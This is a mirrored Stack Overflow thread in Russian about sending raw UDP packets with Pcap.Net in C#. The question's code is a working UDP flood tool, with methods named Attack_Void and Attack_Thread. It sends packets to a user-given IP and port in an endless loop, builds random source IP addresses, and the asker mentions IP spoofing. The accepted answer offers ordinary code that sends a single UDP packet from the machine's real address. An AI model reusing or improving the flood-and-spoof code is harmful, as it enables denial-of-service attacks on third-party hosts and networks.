Не удается отправить пакет udp с помощью pcapdotnet

Мой код показан ниже: я уже установил winpcap. Нет никаких проблем с программами, которые использует pcapdotnet, я думаю, проблема должна быть в слоях, но я не очень хорошо знаю.

       Console.Write("\r IP:Port = ");
        string[] answer = Console.ReadLine().Split(':');
        //answer[0] = ip , answer[1] = port
        Console.WriteLine(answer[0] + "-"+answer[1]);
        Attack_Void(answer[0], Convert.ToInt32(answer[1]));
        Console.ReadKey();
    }

    private static void Attack_Void (string ip,int port)
    {
        try
        {
            IList<LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine;
            PacketDevice selectedDevice = allDevices[0];
            Console.WriteLine(selectedDevice.Description);
            PacketCommunicator communicator = selectedDevice.Open(100, PacketDeviceOpenAttributes.Promiscuous, 1000);

                while (true)
                {
                    Thread tret = new Thread(() => Attack_Thread(communicator, ip, port));
                    tret.Start();
                    tret.Join();
                    tret.Abort();
                }


        } catch(Exception ex)
        {
            Console.WriteLine(ex.ToString());
        }
    }

    private static void Attack_Thread(PacketCommunicator comm,string ip,int port)
    {
        string rnd_ip = random_ip();
        comm.SendPacket(UdpPacket(rnd_ip,ip,port,false,100));
        //comm.SendPacket(Udp_Pack_2());
        PacketCounter++;
        Console.WriteLine("Veriler {0} ip adresine, {1} ip adresinden gönderildi. NO: {2} ",ip,rnd_ip,Convert.ToString(PacketCounter));
    }


    private static string random_ip()
    {

        string srcip = rnd.Next(0, 255) + "." + rnd.Next(0, 255) + "." + rnd.Next(0, 255) + "." + rnd.Next(0, 255);
        return srcip;
    }


    private static Packet UdpPacket(string src_ip, string rem_ip, int rem_port, bool default_port, int src_port)
    {
        int port;
        if (default_port == true)
        {
            port = src_port;
        } else { port = rnd.Next(0, 65535); }

            EthernetLayer ethernetLayer = new EthernetLayer {
                Source = new MacAddress("48:E2:44:5E:A8:07"),
                Destination = new MacAddress("48:E2:44:5E:A8:07") };

        IpV4Layer ipv4Layer = new IpV4Layer
        {
            // Source = new IpV4Address(src_ip),
            Source = new IpV4Address("127.0.0.1"),
                CurrentDestination = new IpV4Address(rem_ip),
                Fragmentation = IpV4Fragmentation.None,
                HeaderChecksum = null, // Will be filled automatically.
                Identification = 123,
                Options = IpV4Options.None,
                Protocol = null,
                Ttl = 100,
                TypeOfService = 0,
            };
            UdpLayer udpLayer =
                   new UdpLayer
                   {
                       SourcePort = (ushort)port,
                       DestinationPort = (ushort)rem_port, //port
                   Checksum = null,
                       CalculateChecksumValue = true,
                   };

            PayloadLayer payloadLayer =
                new PayloadLayer
                {
                    Data = new Datagram(new byte[] { 0x28 }),
                };
            PacketBuilder builder = new PacketBuilder(ethernetLayer, ipv4Layer, udpLayer, payloadLayer);
            return builder.Build(DateTime.Now);
        }

Это мой код. На самом деле я создал udp-сервер для приема пакетов из этой программы, но не могу отправить пакет.

Так же не выдает никаких ошибок. И я не знаю, включил ли мой сетевой модем спуфинг


person Erim Varış    schedule 23.06.2016    source источник
comment
Документ о том, как отправлять пакеты с помощью Pcap.Net: github .com/PcapDotNet/Pcap.Net/wiki/ Я предлагаю упростить код, чтобы увидеть, что работает, а что нет. Как вы выбираете устройство? Вы пытались использовать Wireshark, чтобы узнать, отправляете ли вы какие-либо пакеты?   -  person brickner    schedule 08.07.2016


Ответы (1)


Попробуйте это, но помните, что это работает только с IPv4.

using PcapDotNet.Core;
using PcapDotNet.Core.Extensions;
using PcapDotNet.Packets;
using PcapDotNet.Packets.Ethernet;
using PcapDotNet.Packets.IpV4;
using PcapDotNet.Packets.Transport;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Sockets;

namespace UDP
{
public static class NetworkDevice
{
    private static string GetLocalMachineIpAddress()
    {
        if (!NetworkInterface.GetIsNetworkAvailable())
        {
            throw new Exception("Network is not available. Please check connection to the internet.");
        }

        using (Socket socket = new Socket(System.Net.Sockets.AddressFamily.InterNetwork, SocketType.Dgram, 0))
        {
            socket.Connect("8.8.8.8", 65530);
            IPEndPoint endPoint = socket.LocalEndPoint as IPEndPoint;

            return endPoint.Address.ToString();
        }
    }

    public static PacketDevice GetIpv4PacketDevice()
    {
        string localMachineIpAddress = GetLocalMachineIpAddress();
        IEnumerable<LivePacketDevice> ipV4adapters = LivePacketDevice.AllLocalMachine.Where(w =>
                                                                    (w.Addresses.Select(s => s.Address.Family))
                                                                    .Contains(SocketAddressFamily.Internet));

        foreach (var adapter in ipV4adapters)
        {
            var adapterAddresses = adapter.Addresses
                .Where(w => w.Address.Family == SocketAddressFamily.Internet)
                .Select(s => ((IpV4SocketAddress)s.Address).Address.ToString());

            if (adapterAddresses.Contains(localMachineIpAddress))
                return adapter;
        }

        throw new ArgumentException("System didn't find any adapter.");
    }
}
public static class DefaultGateway
{
    private static IPAddress GetDefaultGateway()
    {
        return NetworkInterface
            .GetAllNetworkInterfaces()
            .Where(n => n.OperationalStatus == OperationalStatus.Up)
            .SelectMany(n => n.GetIPProperties()?.GatewayAddresses)
            .Select(g => g?.Address)
            .FirstOrDefault(a => a != null);
    }

    private static string GetMacAddressFromResultOfARPcommand(string[] commandResult, string separator)
    {
        string macAddress = commandResult[3].Substring(Math.Max(0, commandResult[3].Length - 2))
                    + separator + commandResult[4] + separator + commandResult[5] + separator + commandResult[6]
                    + separator + commandResult[7] + separator
                    + commandResult[8].Substring(0, 2);

        return macAddress;
    }

    public static string GetMacAddress(char separator = ':')
    {
        IPAddress defaultGateway = GetDefaultGateway();

        if (defaultGateway == null)
        {
            throw new Exception("System didn't find the default gateway.");
        }

        string defaultGatewayIpAddress = defaultGateway.ToString();
        return GetMacAddress(defaultGatewayIpAddress, separator);
    }

    public static string GetMacAddress(string ipAddress, char separator)
    {
        Process process = new Process();
        process.StartInfo.FileName = "arp";
        process.StartInfo.Arguments = "-a " + ipAddress;
        process.StartInfo.UseShellExecute = false;
        process.StartInfo.RedirectStandardOutput = true;
        process.StartInfo.CreateNoWindow = true;
        process.Start();

        string strOutput = process.StandardOutput.ReadToEnd();
        string[] substrings = strOutput.Split('-');

        if (substrings.Length <= 8)
        {
            throw new Exception("System didn't find the default gateway mac address.");
        }

        return GetMacAddressFromResultOfARPcommand(substrings, separator.ToString());
    }
}
public class UdpProcessor
{
    private string _destinationMacAddress;
    private string _destinationIPAddress;
    private ushort _destinationPort;
    private string _sourceMacAddress;
    private string _sourceIPAddress;
    private ushort _sourcePort;
    private static LivePacketDevice _device = null;

    public UdpProcessor(string destinationIp)
    {
        _sourcePort = 55555;
        _destinationPort = 44444;
        _device = NetworkDevice.GetIpv4PacketDevice() as LivePacketDevice;
        _destinationIPAddress = destinationIp;
        _sourceIPAddress = _device.Addresses[1].Address.ToString().Split(' ')[1]; //todo
        _sourceMacAddress = (_device as LivePacketDevice).GetMacAddress().ToString();
        _destinationMacAddress = DefaultGateway.GetMacAddress();
    }

    private EthernetLayer CreateEthernetLayer()
    {
        return new EthernetLayer
        {
            Source = new MacAddress(_sourceMacAddress),
            Destination = new MacAddress(_destinationMacAddress),
            EtherType = EthernetType.None,
        };
    }

    private IpV4Layer CreateIpV4Layer()
    {
        return new IpV4Layer
        {
            Source = new IpV4Address(_sourceIPAddress),
            CurrentDestination = new IpV4Address(_destinationIPAddress),
            Fragmentation = IpV4Fragmentation.None,
            HeaderChecksum = null,
            Identification = 123,
            Options = IpV4Options.None,
            Protocol = null,
            Ttl = 100,
            TypeOfService = 0,
        };
    }

    private UdpLayer CreateUdpLayer()
    {
        return new UdpLayer
        {
            SourcePort = _sourcePort,
            DestinationPort = _destinationPort,
            Checksum = null,
            CalculateChecksumValue = true,
        };
    }

    public void SendUDP()
    {
        EthernetLayer ethernetLayer = CreateEthernetLayer();
        IpV4Layer ipV4Layer = CreateIpV4Layer();
        UdpLayer udpLayer = CreateUdpLayer();
        PacketBuilder builder = new PacketBuilder(ethernetLayer, ipV4Layer, udpLayer);

        using (PacketCommunicator communicator = _device.Open(100, PacketDeviceOpenAttributes.Promiscuous, 1000))
        {
            communicator.SendPacket(builder.Build(DateTime.Now));
        }
    }
}
class Program
{
    static void Main(string[] args)
    {
        Console.Write("\r IP:Port = ");
        string ipAddress = Console.ReadLine();           
        new UdpProcessor(ipAddress).SendUDP();           
        Console.ReadKey();
    }
}
}

Результат в wireshark: введите здесь описание изображения

person Mroczny Arturek    schedule 25.04.2017